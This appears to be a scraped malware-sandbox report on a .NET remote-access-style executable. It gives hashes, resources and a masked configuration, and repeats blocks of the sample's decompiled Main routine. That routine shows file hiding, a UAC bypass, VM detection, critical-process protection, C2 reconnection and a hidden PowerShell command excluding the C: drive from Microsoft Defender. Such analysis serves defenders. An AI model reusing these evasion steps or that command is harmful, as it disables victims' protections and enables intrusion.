Malicious
Malicious

020c0693079250790e888666c1f6b4a3

PE Executable
MD5: 020c0693079250790e888666c1f6b4a3
Size: 18.12 MB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
MD5 020c0693079250790e888666c1f6b4a3
Sha1 dc14584cedf6b41c91cd1bdf2c485b041d6291c9
Sha256 cf4cf398408dd57bb8c8b4cb0a320a6ccad46600fbd5e3a8e95a6a1d8636c833
Sha384 4f955bb14ae00c3e3156eb3b807a92169a968aeab2072158eeffbd6a75ad562d4c3894192631ac72ceeeba0cb112f93e
Sha512 1bd656a13978c77dce2568a96123dee6c12a9dfb9594858656b98bde3b97288f705deb39239586c6628b61621201c0a58d5865e627dc01f93862b412a0746a9a
SSDeep 196608:om0UXXvK6QqOyjr2LF3Ye6YmnwqdU142Uajjzy8DU:RXXvK1cjSLFoBYmn5U1PVTD
TLSH 7F07AF02ABE88F2AD0BF47B1A47150145BF1E8966756DA49358CF1BA3B237007B1637F
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NET
020c0693079250790e888666c1f6b4a3
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Client.Form1.resources
$this.Icon
[NBF]root.IconData
Client.Form2.resources
$this.Icon
[NBF]root.IconData
Client.Form3.resources
imageList1.ImageStream
[NBF]root.Data
Client.Properties.Resources.resources
ToggleWallpaper
[NBF]root.Data
[NBF]root.Data-preview.png
screamerwow
[NBF]root.Data
video
AForge.Video.DirectShow.Properties.Resources.resources
camera
[NBF]root.Data
[NBF]root.Data-preview.png
AForge.Video.DirectShow.VideoCaptureDeviceForm.resources
System.Data.Entity.Properties.Resources.resources
System.Data.Resources.AnnotationSchema.xsd
System.Data.Resources.CodeGenerationSchema.xsd
System.Data.Resources.CSDLSchema_1.xsd
System.Data.Resources.CSDLSchema_1_1.xsd
System.Data.Resources.CSDLSchema_2.xsd
System.Data.Resources.CSDLSchema_3.xsd
System.Data.Resources.EntityStoreSchemaGenerator.xsd
System.Data.Resources.SSDLSchema.xsd
System.Data.Resources.SSDLSchema_2.xsd
System.Data.Resources.SSDLSchema_3.xsd
System.Data.Resources.CSMSL_1.xsd
System.Data.Resources.CSMSL_2.xsd
System.Data.Resources.CSMSL_3.xsd
System.Data.Resources.ProviderServices.ProviderManifest.xsd
System.Data.Resources.DbProviderServices.ConceptualSchemaDefinition.csdl
System.Data.Resources.DbProviderServices.ConceptualSchemaDefinitionVersion3.csdl
System.Data.Entity.SqlServer.Properties.Resources.SqlServer.resources
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinition.ssdl
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinitionVersion3.ssdl
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinitionVersion3_Sql8.ssdl
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinition_Sql8.ssdl
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaMapping.msl
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaMappingVersion3.msl
System.Data.Resources.SqlClient.SqlProviderServices.ProviderManifest.xml
FxResources.Microsoft.Win32.Registry.SR.resources
NAudio.WinForms.Gui.Fader.resources
NAudio.WinForms.Gui.PanSlider.resources
$this.DefaultModifiers
$this.GridSize
$this.Language
NAudio.WinForms.Gui.VolumeSlider.resources
FxResources.System.Buffers.SR.resources
System.Data.SQLite.SR.resources
sds-see-ekm.eeagle
sds-see-ekm.eeagle.b64sig
System.Data.SQLite.Resources.SQLiteCommand.bmp
System.Data.SQLite.Resources.SQLiteConnection.bmp
System.Data.SQLite.Resources.SQLiteDataAdapter.bmp
System.Data.SQLite.Properties.resources
System.Data.SQLite.SQLiteProviderServices.StoreSchemaDefinition.ssdl
System.Data.SQLite.Common.ConceptualSchemaDefinition.csdl
System.Data.SQLite.SQLiteProviderServices.ProviderManifest.xml
System.Data.SQLite.SQLiteProviderServices.StoreSchemaMapping.msl
FxResources.System.IO.Pipelines.SR.resources
ILLink.Substitutions.xml
FxResources.System.Memory.SR.resources
FxResources.System.Numerics.Vectors.SR.resources
FxResources.System.Security.AccessControl.SR.resources
System.Security.Principal.Windows.xml
FxResources.System.Text.Encodings.Web.SR.resources
FxResources.System.Text.Json.SR.resources
FxResources.System.ValueTuple.SR.resources
System.Web.Helpers.Resources.HelpersResources.resources
System.Web.Mvc.Properties.MvcResources.resources
System.Web.Razor.Common.CommonResources.resources
System.Web.Razor.Resources.RazorResources.resources
System.Web.WebPages.Deployment.Resources.ConfigurationResources.resources
System.Web.WebPages.Resources.WebPageResources.resources
System.Web.WebPages.Razor.Resources.RazorWebResources.resources
STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
3 / 3
Path pe:exe>pe:rsrc>bin
Shape pe:exe>pe:rsrc>bin
malicious 3 nodes
Path pe:exe>bin
Shape pe:exe>bin
malicious 2 nodes
Config. Field Value
Conf. AES-Salt BF-EB-huhuhuhuhuhuhuhuhuhuhu
Conf. AES-Key
Version Objehuhuhuhu
Port Chainhuhuhuhuhuhuhu
Host Chainhuhuhuhuhuhuhu
ReconnectDelay Authhuhuhuhuhuhuhu
Key Chaihuhuhuhu
SubDirectory Keyhuhuhuhu
InstallName Ahuhuhuhu
Install Microshuhuhuhuhuhuhuhuhuhuhu
Startup 1huhuhuhu
Mutex 1huhuhuhu
StartupKey -10huhuhuhu
HideFile 2huhuhuhu
EnableLogger Monohuhuhuhu
EncryptionKey Systhuhuhuhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Template.exe
Full Name
Template.exe
EntryPoint
System.Void Client.Program::Main()
Scope Name
Template.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Template
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
27127
Main Method
System.Void Client.Program::Main()
Main IL Instruction Count
157
Main IL 
ldsfld System.Boolean Client.Things.Config::HideFile
brfalse IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
call System.Void Client.Configuration.HideClient::Execute()
leave IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
stloc.0 <null>
ldloc.0 <null>
callvirt System.String System.Exception::get_Message()
call System.Void System.Console::WriteLine(System.String)
leave IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
ldsfld System.Boolean Client.Things.Config::UACBy
brfalse IL_0034: ldsfld System.Int32 Client.Things.Config::Delay
call System.Void Client.Configuration.UACBypass::BypassUAC()
ldsfld System.Int32 Client.Things.Config::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
call System.Boolean Client.Things.MutexControl::CreateMutex()
brtrue IL_005F: ldsfld System.Boolean Client.Things.Config::VM
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.Boolean Client.Things.Config::VM
brfalse IL_006E: ldsfld System.Boolean Client.Things.Config::UAC
call System.Void VMCheck::Analyze()
ldsfld System.Boolean Client.Things.Config::UAC
brfalse IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
call System.Boolean Client.Program::checking()
brtrue IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
stloc.1 <null>
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
pop <null>
ldstr Continue
call System.Void System.Console::WriteLine(System.String)
leave IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
ldsfld System.Boolean Client.Things.Config::HidProc
brfalse IL_00DC: ldsfld System.Boolean Client.Things.Config::OpenWebsite
newobj System.Void ProcessKiller::.ctor()
pop <null>
ldsfld System.Boolean Client.Things.Config::OpenWebsite
brfalse IL_00F1: ldsfld System.Action Client.Program/<>c::<>9__0_0
ldsfld System.String Client.Things.Config::Website
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldsfld System.Action Client.Program/<>c::<>9__0_0
dup <null>
brtrue IL_0113: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_0()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_0
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld System.Boolean Client.Things.Config::Startup
brfalse IL_014B: ldsfld System.Boolean Client.Things.Config::Assist
ldsfld System.Func`1<System.Threading.Tasks.Task> Client.Program/<>c::<>9__0_1
dup <null>
brtrue IL_0145: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Threading.Tasks.Task Client.Program/<>c::<Main>b__0_1()
newobj System.Void System.Func`1<System.Threading.Tasks.Task>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`1<System.Threading.Tasks.Task> Client.Program/<>c::<>9__0_1
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld System.Boolean Client.Things.Config::Assist
brfalse IL_018C: ldsfld System.Action Client.Program/<>c::<>9__0_3
ldsfld System.Action Client.Program/<>c::<>9__0_2
dup <null>
brtrue IL_0177: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_2()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_2
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
newobj System.Void Client.Form1::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.Form)
br IL_01BE: ldsfld System.Boolean Client.Things.Config::ProcessCritical
ldsfld System.Action Client.Program/<>c::<>9__0_3
dup <null>
brtrue IL_01AE: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_3()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_3
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
newobj System.Void System.Windows.Forms.ApplicationContext::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.ApplicationContext)
ldsfld System.Boolean Client.Things.Config::ProcessCritical
brfalse IL_01CD: ldsfld System.Boolean Client.Things.Config::Defender
call System.Void Client.Configuration.processcritical::critical()
ldsfld System.Boolean Client.Things.Config::Defender
brfalse IL_0228: nop
call System.Boolean Client.Defs.Check::Admin()
brfalse IL_0228: nop
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldstr cmd.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldstr /c powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
stloc.2 <null>
ldloc.2 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave IL_0228: nop
pop <null>
leave IL_0228: nop
nop <null>
call System.Boolean Client.Connection.SillyClient::isConnected()
brtrue IL_023D: leave IL_0248
call System.Void Client.Connection.SillyClient::Reconnect()
call System.Void Client.Connection.SillyClient::Connect()
leave IL_0248: ldsfld System.Int32 Client.Things.Config::Delay
pop <null>
leave IL_0248: ldsfld System.Int32 Client.Things.Config::Delay
ldsfld System.Int32 Client.Things.Config::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_0228: nop
Module Name
Template.exe
Full Name
Template.exe
EntryPoint
System.Void Client.Program::Main()
Scope Name
Template.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Template
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
27127
Main Method
System.Void Client.Program::Main()
Main IL Instruction Count
157
Main IL 
ldsfld System.Boolean Client.Things.Config::HideFile
brfalse IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
call System.Void Client.Configuration.HideClient::Execute()
leave IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
stloc.0 <null>
ldloc.0 <null>
callvirt System.String System.Exception::get_Message()
call System.Void System.Console::WriteLine(System.String)
leave IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
ldsfld System.Boolean Client.Things.Config::UACBy
brfalse IL_0034: ldsfld System.Int32 Client.Things.Config::Delay
call System.Void Client.Configuration.UACBypass::BypassUAC()
ldsfld System.Int32 Client.Things.Config::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
call System.Boolean Client.Things.MutexControl::CreateMutex()
brtrue IL_005F: ldsfld System.Boolean Client.Things.Config::VM
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.Boolean Client.Things.Config::VM
brfalse IL_006E: ldsfld System.Boolean Client.Things.Config::UAC
call System.Void VMCheck::Analyze()
ldsfld System.Boolean Client.Things.Config::UAC
brfalse IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
call System.Boolean Client.Program::checking()
brtrue IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
stloc.1 <null>
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
pop <null>
ldstr Continue
call System.Void System.Console::WriteLine(System.String)
leave IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
ldsfld System.Boolean Client.Things.Config::HidProc
brfalse IL_00DC: ldsfld System.Boolean Client.Things.Config::OpenWebsite
newobj System.Void ProcessKiller::.ctor()
pop <null>
ldsfld System.Boolean Client.Things.Config::OpenWebsite
brfalse IL_00F1: ldsfld System.Action Client.Program/<>c::<>9__0_0
ldsfld System.String Client.Things.Config::Website
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldsfld System.Action Client.Program/<>c::<>9__0_0
dup <null>
brtrue IL_0113: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_0()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_0
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld System.Boolean Client.Things.Config::Startup
brfalse IL_014B: ldsfld System.Boolean Client.Things.Config::Assist
ldsfld System.Func`1<System.Threading.Tasks.Task> Client.Program/<>c::<>9__0_1
dup <null>
brtrue IL_0145: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Threading.Tasks.Task Client.Program/<>c::<Main>b__0_1()
newobj System.Void System.Func`1<System.Threading.Tasks.Task>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`1<System.Threading.Tasks.Task> Client.Program/<>c::<>9__0_1
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld System.Boolean Client.Things.Config::Assist
brfalse IL_018C: ldsfld System.Action Client.Program/<>c::<>9__0_3
ldsfld System.Action Client.Program/<>c::<>9__0_2
dup <null>
brtrue IL_0177: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_2()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_2
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
newobj System.Void Client.Form1::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.Form)
br IL_01BE: ldsfld System.Boolean Client.Things.Config::ProcessCritical
ldsfld System.Action Client.Program/<>c::<>9__0_3
dup <null>
brtrue IL_01AE: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_3()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_3
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
newobj System.Void System.Windows.Forms.ApplicationContext::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.ApplicationContext)
ldsfld System.Boolean Client.Things.Config::ProcessCritical
brfalse IL_01CD: ldsfld System.Boolean Client.Things.Config::Defender
call System.Void Client.Configuration.processcritical::critical()
ldsfld System.Boolean Client.Things.Config::Defender
brfalse IL_0228: nop
call System.Boolean Client.Defs.Check::Admin()
brfalse IL_0228: nop
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldstr cmd.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldstr /c powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
stloc.2 <null>
ldloc.2 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave IL_0228: nop
pop <null>
leave IL_0228: nop
nop <null>
call System.Boolean Client.Connection.SillyClient::isConnected()
brtrue IL_023D: leave IL_0248
call System.Void Client.Connection.SillyClient::Reconnect()
call System.Void Client.Connection.SillyClient::Connect()
leave IL_0248: ldsfld System.Int32 Client.Things.Config::Delay
pop <null>
leave IL_0248: ldsfld System.Int32 Client.Things.Config::Delay
ldsfld System.Int32 Client.Things.Config::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_0228: nop
CnC CNCmalicious
Chainhuhuhuhuhuhuhu
Port PORTmalicious
Chainhuhuhuhuhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
020c0693079250790e888666c1f6b4a3
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Client.Form1.resources
$this.Icon
[NBF]root.IconData
Client.Form2.resources
$this.Icon
[NBF]root.IconData
Client.Form3.resources
imageList1.ImageStream
[NBF]root.Data
Client.Properties.Resources.resources
ToggleWallpaper
[NBF]root.Data
[NBF]root.Data-preview.png
screamerwow
[NBF]root.Data
video
AForge.Video.DirectShow.Properties.Resources.resources
camera
[NBF]root.Data
[NBF]root.Data-preview.png
AForge.Video.DirectShow.VideoCaptureDeviceForm.resources
System.Data.Entity.Properties.Resources.resources
System.Data.Resources.AnnotationSchema.xsd
System.Data.Resources.CodeGenerationSchema.xsd
System.Data.Resources.CSDLSchema_1.xsd
System.Data.Resources.CSDLSchema_1_1.xsd
System.Data.Resources.CSDLSchema_2.xsd
System.Data.Resources.CSDLSchema_3.xsd
System.Data.Resources.EntityStoreSchemaGenerator.xsd
System.Data.Resources.SSDLSchema.xsd
System.Data.Resources.SSDLSchema_2.xsd
System.Data.Resources.SSDLSchema_3.xsd
System.Data.Resources.CSMSL_1.xsd
System.Data.Resources.CSMSL_2.xsd
System.Data.Resources.CSMSL_3.xsd
System.Data.Resources.ProviderServices.ProviderManifest.xsd
System.Data.Resources.DbProviderServices.ConceptualSchemaDefinition.csdl
System.Data.Resources.DbProviderServices.ConceptualSchemaDefinitionVersion3.csdl
System.Data.Entity.SqlServer.Properties.Resources.SqlServer.resources
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinition.ssdl
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinitionVersion3.ssdl
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinitionVersion3_Sql8.ssdl
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinition_Sql8.ssdl
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaMapping.msl
System.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaMappingVersion3.msl
System.Data.Resources.SqlClient.SqlProviderServices.ProviderManifest.xml
FxResources.Microsoft.Win32.Registry.SR.resources
NAudio.WinForms.Gui.Fader.resources
NAudio.WinForms.Gui.PanSlider.resources
$this.DefaultModifiers
$this.GridSize
$this.Language
NAudio.WinForms.Gui.VolumeSlider.resources
FxResources.System.Buffers.SR.resources
System.Data.SQLite.SR.resources
sds-see-ekm.eeagle
sds-see-ekm.eeagle.b64sig
System.Data.SQLite.Resources.SQLiteCommand.bmp
System.Data.SQLite.Resources.SQLiteConnection.bmp
System.Data.SQLite.Resources.SQLiteDataAdapter.bmp
System.Data.SQLite.Properties.resources
System.Data.SQLite.SQLiteProviderServices.StoreSchemaDefinition.ssdl
System.Data.SQLite.Common.ConceptualSchemaDefinition.csdl
System.Data.SQLite.SQLiteProviderServices.ProviderManifest.xml
System.Data.SQLite.SQLiteProviderServices.StoreSchemaMapping.msl
FxResources.System.IO.Pipelines.SR.resources
ILLink.Substitutions.xml
FxResources.System.Memory.SR.resources
FxResources.System.Numerics.Vectors.SR.resources
FxResources.System.Security.AccessControl.SR.resources
System.Security.Principal.Windows.xml
FxResources.System.Text.Encodings.Web.SR.resources
FxResources.System.Text.Json.SR.resources
FxResources.System.ValueTuple.SR.resources
System.Web.Helpers.Resources.HelpersResources.resources
System.Web.Mvc.Properties.MvcResources.resources
System.Web.Razor.Common.CommonResources.resources
System.Web.Razor.Resources.RazorResources.resources
System.Web.WebPages.Deployment.Resources.ConfigurationResources.resources
System.Web.WebPages.Resources.WebPageResources.resources
System.Web.WebPages.Razor.Resources.RazorWebResources.resources
Config. Field Value
Conf. AES-Salt BF-EB-huhuhuhuhuhuhuhuhuhuhu
Conf. AES-Key
Version Objehuhuhuhu
Port Chainhuhuhuhuhuhuhu
Host Chainhuhuhuhuhuhuhu
ReconnectDelay Authhuhuhuhuhuhuhu
Key Chaihuhuhuhu
SubDirectory Keyhuhuhuhu
InstallName Ahuhuhuhu
Install Microshuhuhuhuhuhuhuhuhuhuhu
Startup 1huhuhuhu
Mutex 1huhuhuhu
StartupKey -10huhuhuhu
HideFile 2huhuhuhu
EnableLogger Monohuhuhuhu
EncryptionKey Systhuhuhuhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
CnC CNCmalicious
Chainhuhuhuhuhuhuhu
020c0693079250790e888666c1f6b4a3
Port PORTmalicious
Chainhuhuhuhuhuhuhu
020c0693079250790e888666c1f6b4a3
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙